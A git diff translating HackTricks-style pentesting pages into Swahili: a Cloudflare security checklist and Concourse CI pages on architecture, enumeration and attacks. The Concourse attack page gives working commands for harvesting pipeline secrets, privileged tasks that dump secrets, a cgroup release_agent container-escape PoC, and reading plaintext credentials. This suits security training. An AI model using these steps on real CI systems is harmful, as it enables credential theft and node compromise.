tutachambua **mipangilio inayohusiana na usalama ya kila sehemu:**
### Analytics -- [ ] Useful to **get to know the environment** +- [ ] Inasaidia **kujua mazingira** ### **Gateway** -- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications. - - If used, **policies** could be created to **restrict** the access to malicious sites. - - This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies. +- [ ] Katika **`Policies`** inawezekana kuunda sera za **kuzuia** kwa **DNS**, **mtandao** au **HTTP** ombi nani anaweza kufikia programu. +- Ikiwa inatumika, **sera** zinaweza kuundwa ili **kuzuia** ufikiaji wa tovuti za uhalifu. +- Hii ni **muhimu tu ikiwa gateway inatumika**, ikiwa sivyo, hakuna sababu ya kuunda sera za kujihami. ### Access #### Applications -On each application: +Katika kila programu: -- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access. - - To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also) -- [ ] Check the **available identity providers** and make sure they **aren't too open** -- [ ] In **`Settings`**: - - [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything) - - [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP. - - [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.** +- [ ] Angalia **nani** anaweza kufikia programu katika **Policies** na hakikisha kwamba **tu** **watumiaji** ambao **wanahitaji ufikiaji** wa programu wanaweza kufikia. +- Ili kuruhusu ufikiaji, **`Access Groups`** zitatumika (na **kanuni za ziada** zinaweza kuwekwa pia) +- [ ] Angalia **watoa huduma za utambulisho** waliopo na hakikisha hawako **wazi sana** +- [ ] Katika **`Settings`**: +- [ ] Angalia **CORS haijawashwa** (ikiwa imewashwa, angalia ni **salama** na hairuhusu kila kitu) +- [ ] Cookies zinapaswa kuwa na sifa ya **Strict Same-Site**, **HTTP Only** na **binding cookie** inapaswa kuwa **imewashwa** ikiwa programu ni HTTP. +- [ ] Fikiria pia kuwezesha **Browser rendering** kwa ulinzi bora. Maelezo zaidi kuhusu [**remote browser isolation hapa**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.** #### **Access Groups** -- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow. -- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**. - - Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary. +- [ ] Angalia kwamba vikundi vya ufikiaji vilivyoundwa vime **kuzuia kwa usahihi** kwa watumiaji wanapaswa kuruhusu. +- [ ] Ni muhimu hasa kuangalia kwamba **kikundi cha ufikiaji cha kawaida hakiko wazi sana** (hakiruhusu watu wengi sana) kwani kwa **kawaida** mtu yeyote katika **kikundi** hicho atakuwa na uwezo wa **kufikia programu**. +- Kumbuka kwamba inawezekana kutoa **ufikiaji** kwa **KILA MTU** na sera nyingine **wazi sana** ambazo hazipendekezwi isipokuwa ni muhimu 100%. #### Service Auth -- [ ] Check that all service tokens **expires in 1 year or less** +- [ ] Angalia kwamba tokeni zote za huduma **zinakoma katika mwaka 1 au chini** #### Tunnels @@ -50,16 +50,12 @@ TODO ### Logs -- [ ] You could search for **unexpected actions** from users +- [ ] Unaweza kutafuta **vitendo visivyotarajiwa** kutoka kwa watumiaji ### Settings -- [ ] Check the **plan type** -- [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address** -- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service +- [ ] Angalia **aina ya mpango** +- [ ] Inawezekana kuona **jina la mmiliki wa kadi ya mkopo**, **nambari 4 za mwisho**, tarehe ya **kuisha** na **anwani** +- [ ] Inapendekezwa **kuongeza Uthibitisho wa Kiti cha Mtumiaji** ili kuondoa watumiaji ambao hawatumii huduma hii kwa kweli {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md index bcf20facf..1a951d396 100644 --- a/src/pentesting-ci-cd/concourse-security/README.md +++ b/src/pentesting-ci-cd/concourse-security/README.md @@ -1,37 +1,33 @@ -# Concourse Security +# Usalama wa Concourse {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Taarifa za Msingi -Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...) +Concourse inakuwezesha **kujenga mipango** ili kiotomatiki kufanikisha majaribio, vitendo na kujenga picha kila wakati unavyohitaji (kulingana na muda, wakati kitu kinapotokea...) -## Concourse Architecture +## Muktadha wa Concourse -Learn how the concourse environment is structured in: +Jifunze jinsi mazingira ya concourse yalivyojengwa katika: {{#ref}} -concourse-architecture.md +muktadha-wa-concourse.md {{#endref}} -## Concourse Lab +## Maabara ya Concourse -Learn how you can run a concourse environment locally to do your own tests in: +Jifunze jinsi unavyoweza kuendesha mazingira ya concourse kwa ndani ili kufanya majaribio yako mwenyewe katika: {{#ref}} -concourse-lab-creation.md +uundaji-wa-maabara-ya-concourse.md {{#endref}} -## Enumerate & Attack Concourse +## Kuorodhesha & Kushambulia Concourse -Learn how you can enumerate the concourse environment and abuse it in: +Jifunze jinsi unavyoweza kuorodhesha mazingira ya concourse na kuyatumia vibaya katika: {{#ref}} -concourse-enumeration-and-attacks.md +kuorodhesha-na-kushambulia-concourse.md {{#endref}} {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md index d70167906..4214c1d7a 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md @@ -12,31 +12,27 @@ #### ATC: web UI & build scheduler -The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs). +ATC ni moyo wa Concourse. Inafanya kazi ya **web UI na API** na ina jukumu la **kusimamia** mipango yote ya pipeline. In **unganishwa na PostgreSQL**, ambayo inatumika kuhifadhi data za pipeline (ikiwemo kumbukumbu za ujenzi). -The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes. +Jukumu la [checker](https://concourse-ci.org/checker.html) ni kuangalia kwa muda wote toleo jipya la rasilimali. [scheduler](https://concourse-ci.org/scheduler.html) ina jukumu la kupanga ujenzi kwa kazi na [build tracker](https://concourse-ci.org/build-tracker.html) ina jukumu la kuendesha ujenzi wowote uliopangwa. [garbage collector](https://concourse-ci.org/garbage-collector.html) ni mekanizma ya kusafisha kwa kuondoa vitu vyovyote visivyotumika au vya zamani, kama vile kontena na volumes. #### TSA: worker registration & forwarding -The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc). +TSA ni **seva ya SSH iliyojengwa maalum** ambayo inatumika pekee kwa **kujiandikisha** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) kwa [ATC](https://concourse-ci.org/internals.html#component-atc). -The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer. +TSA kwa **kawaida inasikiliza kwenye bandari `2222`**, na mara nyingi iko pamoja na [ATC](https://concourse-ci.org/internals.html#component-atc) na iko nyuma ya balancer ya mzigo. -The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa). +**TSA inatekeleza CLI kupitia muunganisho wa SSH,** ikisaidia [**amri hizi**](https://concourse-ci.org/internals.html#component-tsa). #### Workers -In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim). +Ili kutekeleza kazi, concourse lazima iwe na baadhi ya wafanyakazi. Wafanyakazi hawa **jiandikishe** kupitia [TSA](https://concourse-ci.org/internals.html#component-tsa) na kuendesha huduma [**Garden**](https://github.com/cloudfoundry-incubator/garden) na [**Baggageclaim**](https://github.com/concourse/baggageclaim). -- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**. -- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**. +- **Garden**: Hii ni **Container Manage API**, mara nyingi inafanya kazi kwenye **bandari 7777** kupitia **HTTP**. +- **Baggageclaim**: Hii ni **Volume Management API**, mara nyingi inafanya kazi kwenye **bandari 7788** kupitia **HTTP**. ## References - [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md index 4b778a804..157d66194 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md @@ -6,36 +6,34 @@ ### User Roles & Permissions -Concourse comes with five roles: +Concourse inakuja na majukumu matano: -- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC. -- **owner**: Team owners can **modify everything within the team**. -- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings. -- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations. -- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines. +- _Concourse_ **Admin**: Hii jukumu inatolewa tu kwa wamiliki wa **timu kuu** (timu ya mwanzo ya concourse). Wasimamizi wanaweza **kuunda timu nyingine** (mfano: `fly set-team`, `fly destroy-team`...). Ruhusa za jukumu hili haziwezi kuathiriwa na RBAC. +- **mwenye**: Wamiliki wa timu wanaweza **kubadilisha kila kitu ndani ya timu**. +- **mwanachama**: Wanachama wa timu wanaweza **kusoma na kuandika** ndani ya **rasilimali za timu** lakini hawawezi kubadilisha mipangilio ya timu. +- **mpangaji-mchakato**: Wapangaji-mchakato wanaweza kufanya **operesheni za mchakato** kama vile kuanzisha ujenzi na kuweka rasilimali, hata hivyo hawawezi kubadilisha mipangilio ya mchakato. +- **mtazamaji**: Watazamaji wa timu wana **"ufikiaji wa kusoma tu" kwa timu** na mchakato zake. > [!NOTE] -> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) +> Zaidi ya hayo, **ruhusa za majukumu ya mwenye, mwanachama, mpangaji-mchakato na mtazamaji zinaweza kubadilishwa** kwa kuunda RBAC (kuunda kwa usahihi vitendo vyake). Soma zaidi kuhusu hilo katika: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) -Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them. +Kumbuka kwamba Concourse **inaunganisha mchakato ndani ya Timu**. Hivyo basi watumiaji wanaotokana na Timu wataweza kusimamia mchakato hizo na **Timu kadhaa** zinaweza kuwepo. Mtumiaji anaweza kuwa sehemu ya Timu kadhaa na kuwa na ruhusa tofauti ndani ya kila moja yao. ### Vars & Credential Manager -In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\ -[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\ -The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\ -Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`. +Katika mipangilio ya YAML unaweza kuunda thamani ukitumia sintaksia `((_source-name_:_secret-path_._secret-field_))`.\ +[Kutoka kwenye hati:](https://concourse-ci.org/vars.html#var-syntax) **source-name ni hiari**, na ikiwa imeachwa, [meneja wa akiba wa kiwango cha klasta](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) atatumika, au thamani inaweza kutolewa [kwa statiki](https://concourse-ci.org/vars.html#static-vars).\ +**_secret-field_** ya hiari inabainisha uwanja kwenye akiba iliyopatikana kusoma. Ikiwa imeachwa, meneja wa akiba anaweza kuchagua kusoma 'uwanja wa kawaida' kutoka kwa akiba iliyopatikana ikiwa uwanja huo upo.\ +Zaidi ya hayo, _**secret-path**_ na _**secret-field**_ zinaweza kuzungukwa na nukuu mbili `"..."` ikiwa zina **micharacters maalum** kama `.` na `:`. Kwa mfano, `((source:"my.secret"."field:1"))` itaweka _secret-path_ kuwa `my.secret` na _secret-field_ kuwa `field:1`. #### Static Vars -Static vars can be specified in **tasks steps**: - +Static vars zinaweza kubainishwa katika **hatua za kazi**: ```yaml - task: unit-1.13 - file: booklit/ci/unit.yml - vars: { tag: 1.13 } +file: booklit/ci/unit.yml +vars: { tag: 1.13 } ``` - Or using the following `fly` **arguments**: - `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`. @@ -43,82 +41,80 @@ Or using the following `fly` **arguments**: - `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars. - `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all. -#### Credential Management +#### Usimamizi wa Akida -There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ -Moreover, Concourse supports different credential managers: +Kuna njia tofauti ambazo **Msimamizi wa Akida unaweza kufafanuliwa** katika pipeline, soma jinsi katika [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ +Zaidi ya hayo, Concourse inasaidia wasimamizi wa akida tofauti: -- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html) -- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html) -- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html) -- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html) -- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html) -- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html) -- [Caching credentials](https://concourse-ci.org/creds-caching.html) -- [Redacting credentials](https://concourse-ci.org/creds-redacting.html) -- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html) +- [Msimamizi wa akida wa Vault](https://concourse-ci.org/vault-credential-manager.html) +- [Msimamizi wa akida wa CredHub](https://concourse-ci.org/credhub-credential-manager.html) +- [Msimamizi wa akida wa AWS SSM](https://concourse-ci.org/aws-ssm-credential-manager.html) +- [Msimamizi wa akida wa AWS Secrets Manager](https://concourse-ci.org/aws-asm-credential-manager.html) +- [Msimamizi wa Akida wa Kubernetes](https://concourse-ci.org/kubernetes-credential-manager.html) +- [Msimamizi wa akida wa Conjur](https://concourse-ci.org/conjur-credential-manager.html) +- [Kuhifadhi akida](https://concourse-ci.org/creds-caching.html) +- [Kuficha akida](https://concourse-ci.org/creds-redacting.html) +- [Kujaribu tena kufikia zilizoshindwa](https://concourse-ci.org/creds-retry-logic.html) > [!CAUTION] -> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them. +> Kumbuka kwamba ikiwa una aina fulani ya **ufikiaji wa kuandika kwa Concourse** unaweza kuunda kazi za **kuondoa siri hizo** kwani Concourse inahitaji kuwa na uwezo wa kuzifikia. -### Concourse Enumeration +### Uhesabuji wa Concourse -In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file. +Ili kuhesabu mazingira ya concourse unahitaji kwanza **kusanya akida halali** au kupata **token iliyothibitishwa** labda katika faili ya usanidi `.flyrc`. -#### Login and Current User enum +#### Ingia na Ujumbe wa Sasa -- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**: - - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` -- Get configured **targets**: - - `fly targets` -- Get if the configured **target connection** is still **valid**: - - `fly -t status` -- Get **role** of the user against the indicated target: - - `fly -t userinfo` +- Ili kuingia unahitaji kujua **kiungo**, **jina la timu** (kawaida ni `main`) na **timu ambayo mtumiaji anahusishwa nayo**: +- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` +- Pata **malengo** yaliyowekwa: +- `fly targets` +- Pata ikiwa **kiungo kilichowekwa** bado ni **halali**: +- `fly -t status` +- Pata **jukumu** la mtumiaji dhidi ya lengo lililoonyeshwa: +- `fly -t userinfo` > [!NOTE] -> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials. +> Kumbuka kwamba **token ya API** inahifadhiwa katika `$HOME/.flyrc` kwa kawaida, unapoiba mashine unaweza kuipata huko akida. -#### Teams & Users +#### Timu & Watumiaji -- Get a list of the Teams - - `fly -t teams` -- Get roles inside team - - `fly -t get-team -n ` -- Get a list of users - - `fly -t active-users` +- Pata orodha ya Timu +- `fly -t teams` +- Pata majukumu ndani ya timu +- `fly -t get-team -n ` +- Pata orodha ya watumiaji +- `fly -t active-users` #### Pipelines -- **List** pipelines: - - `fly -t pipelines -a` -- **Get** pipeline yaml (**sensitive information** might be found in the definition): - - `fly -t get-pipeline -p ` -- Get all pipeline **config declared vars** - - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` -- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them): - +- **Orodha** ya pipelines: +- `fly -t pipelines -a` +- **Pata** yaml ya pipeline (**taarifa nyeti** zinaweza kupatikana katika ufafanuzi): +- `fly -t get-pipeline -p ` +- Pata **mipangilio yote ya pipeline iliyotangazwa** +- `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` +- Pata majina yote ya **siri za pipelines zilizotumika** (ikiwa unaweza kuunda/kubadilisha kazi au kuiba kontena unaweza kuondoa hizo): ```bash rm /tmp/secrets.txt; for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do - echo $pipename; - fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt; - echo ""; +echo $pipename; +fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt; +echo ""; done echo "" echo "ALL SECRETS" cat /tmp/secrets.txt | sort | uniq rm /tmp/secrets.txt ``` - #### Containers & Workers -- List **workers**: - - `fly -t workers` -- List **containers**: - - `fly -t containers` -- List **builds** (to see what is running): - - `fly -t builds` +- Orodha **workers**: +- `fly -t workers` +- Orodha **containers**: +- `fly -t containers` +- Orodha **builds** (kuona kinachoendelea): +- `fly -t builds` ### Concourse Attacks @@ -127,92 +123,85 @@ rm /tmp/secrets.txt - admin:admin - test:test -#### Secrets and params enumeration +#### Usanidi wa siri na params -In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them. +Katika sehemu iliyopita tuliona jinsi unavyoweza **kupata majina yote ya siri na vars** zinazotumiwa na pipeline. **Vars zinaweza kuwa na taarifa nyeti** na jina la **siri litakuwa muhimu baadaye kujaribu kuiba** hizo. -#### Session inside running or recently run container - -If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `/` **container** using: +#### Kikao ndani ya container inayokimbia au iliyokimbia hivi karibuni +Ikiwa una ruhusa za kutosha (**mwanachama au zaidi**) utaweza **kuorodhesha pipelines na roles** na tu kupata **kikao ndani** ya `/` **container** kwa kutumia: ```bash fly -t tutorial intercept --job pipeline-name/job-name fly -t tutorial intercept # To be presented a prompt with all the options ``` +Kwa ruhusa hizi unaweza kuwa na uwezo wa: -With these permissions you might be able to: +- **Kuchukua siri** ndani ya **konteina** +- Jaribu **kutoroka** hadi kwenye node +- Kuorodhesha/Kutumia vibaya **cloud metadata** endpoint (kutoka kwenye pod na kutoka kwenye node, ikiwa inawezekana) -- **Steal the secrets** inside the **container** -- Try to **escape** to the node -- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible) - -#### Pipeline Creation/Modification - -If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example: +#### Uundaji/Modification wa Pipeline +Ikiwa una ruhusa za kutosha (**mwanachama au zaidi**) utaweza **kuunda/kubadilisha pipelines mpya.** Angalia mfano huu: ```yaml jobs: - - name: simple - plan: - - task: simple-task - privileged: true - config: - # Tells Concourse which type of worker this task should run on - platform: linux - image_resource: - type: registry-image - source: - repository: busybox # images are pulled from docker hub by default - run: - path: sh - args: - - -cx - - | - echo "$SUPER_SECRET" - sleep 1000 - params: - SUPER_SECRET: ((super.secret)) +- name: simple +plan: +- task: simple-task +privileged: true +config: +# Tells Concourse which type of worker this task should run on +platform: linux +image_resource: +type: registry-image +source: +repository: busybox # images are pulled from docker hub by default +run: +path: sh +args: +- -cx +- | +echo "$SUPER_SECRET" +sleep 1000 +params: +SUPER_SECRET: ((super.secret)) ``` +Kwa **mabadiliko/kuunda** pipeline mpya utaweza: -With the **modification/creation** of a new pipeline you will be able to: +- **Kuhujumu** **siri** (kupitia kuzionyesha au kuingia ndani ya kontena na kuendesha `env`) +- **Kutoroka** hadi **node** (kwa kukupa ruhusa za kutosha - `privileged: true`) +- Kuorodhesha/Kutumia **cloud metadata** endpoint (kutoka kwenye pod na kutoka kwenye node) +- **Futa** pipeline iliyoundwa -- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`) -- **Escape** to the **node** (by giving you enough privileges - `privileged: true`) -- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node) -- **Delete** created pipeline - -#### Execute Custom Task - -This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**): +#### Teua Kazi Maalum +Hii ni sawa na njia ya awali lakini badala ya kubadilisha/kuunda pipeline mpya kabisa unaweza **tu kutekeleza kazi maalum** (ambayo labda itakuwa **siri zaidi**): ```yaml # For more task_config options check https://concourse-ci.org/tasks.html platform: linux image_resource: - type: registry-image - source: - repository: ubuntu +type: registry-image +source: +repository: ubuntu run: - path: sh - args: - - -cx - - | - env - sleep 1000 +path: sh +args: +- -cx +- | +env +sleep 1000 params: - SUPER_SECRET: ((super.secret)) +SUPER_SECRET: ((super.secret)) ``` ```bash fly -t tutorial execute --privileged --config task_config.yml ``` +#### Kutoroka kwenye node kutoka kwa kazi yenye mamlaka -#### Escaping to the node from privileged task - -In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex". - -In the following PoC we are going to use the release_agent to escape with some small modifications: +Katika sehemu zilizopita tuliona jinsi ya **kutekeleza kazi yenye mamlaka na concourse**. Hii haitatoa ufikiaji sawa kabisa na bendera yenye mamlaka katika kontena la docker. Kwa mfano, huwezi kuona kifaa cha mfumo wa faili cha node katika /dev, hivyo kutoroka kunaweza kuwa "ngumu" zaidi. +Katika PoC ifuatayo tutatumia release_agent kutoroka na marekebisho madogo: ```bash # Mounts the RDMA cgroup controller and create a child cgroup # If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist" @@ -270,14 +259,12 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` - > [!WARNING] -> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node +> Kama unavyojua hii ni tu [**kutoroka kwa release_agent wa kawaida**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) tu kubadilisha njia ya cmd katika node -#### Escaping to the node from a Worker container - -A regular release_agent escape with a minor modification is enough for this: +#### Kutoroka hadi node kutoka kwa kontena la Worker +Kutoroka kwa release_agent wa kawaida na mabadiliko madogo yanatosha kwa hili: ```bash mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x @@ -304,13 +291,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` +#### Kutoroka kwenye node kutoka kwenye Web container -#### Escaping to the node from the Web container - -Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless). - -However, it stores **local credentials in clear text**: +Hata kama web container ina baadhi ya ulinzi zilizozuiliwa **haifanyi kazi kama container yenye mamlaka ya kawaida** (kwa mfano, huwezi **kuunganisha** na **uwezo** ni **mdogo sana**, hivyo njia zote rahisi za kutoroka kutoka kwenye container hazifai). +Hata hivyo, inahifadhi **akili za ndani kwa maandiko wazi**: ```bash cat /concourse-auth/local-users test:test @@ -319,11 +304,9 @@ env | grep -i local_user CONCOURSE_MAIN_TEAM_LOCAL_USER=test CONCOURSE_ADD_LOCAL_USER=test:test ``` +Unaweza kutumia akreditivu hizo ku **ingia kwenye seva ya wavuti** na **kuunda kontena lenye mamlaka na kutoroka hadi kwenye node**. -You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**. - -In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info): - +Katika mazingira unaweza pia kupata taarifa za **kufikia postgresql** ambayo concourse inatumia (anwani, **jina la mtumiaji**, **nenosiri** na hifadhidata pamoja na taarifa nyingine): ```bash env | grep -i postg CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238 @@ -344,39 +327,35 @@ select * from refresh_token; select * from teams; #Change the permissions of the users in the teams select * from users; ``` - -#### Abusing Garden Service - Not a real Attack +#### Kutumia Huduma ya Garden - Si Shambulio Halisi > [!WARNING] -> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before +> Hizi ni baadhi ya maelezo ya kuvutia kuhusu huduma, lakini kwa sababu inasikiliza tu kwenye localhost, maelezo haya hayataleta athari ambazo hatujashambulia tayari -By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections: +Kwa default, kila mfanyakazi wa concourse atakuwa akifanya kazi na huduma ya [**Garden**](https://github.com/cloudfoundry/garden) kwenye bandari 7777. Huduma hii inatumika na Mkurugenzi wa Mtandao kuonyesha mfanyakazi **kile anahitaji kutekeleza** (kupakua picha na kuendesha kila kazi). Hii inasikika vizuri kwa mshambuliaji, lakini kuna ulinzi mzuri: -- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker. -- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service. - -Concourse workers run with high container privileges: +- Inapatikana tu **kitaifa** (127..0.0.1) na nadhani wakati mfanyakazi anajiandikisha dhidi ya Mtandao na huduma maalum ya SSH, tunnel inaundwa ili seva ya wavuti iweze **kuzungumza na kila huduma ya Garden** ndani ya kila mfanyakazi. +- Seva ya wavuti **inasimamia kontena zinazoendesha kila sekunde chache**, na kontena **zisizotarajiwa** zinatolewa. Hivyo ikiwa unataka **kuendesha kontena maalum** unahitaji **kuingilia** kati ya **mawasiliano** kati ya seva ya wavuti na huduma ya garden. +Wafanyakazi wa Concourse wanaendesha kwa ruhusa za juu za kontena: ``` Container Runtime: docker Has Namespaces: - pid: true - user: false +pid: true +user: false AppArmor Profile: kernel Capabilities: - BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read +BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read Seccomp: disabled ``` - -However, techniques like **mounting** the /dev device of the node or 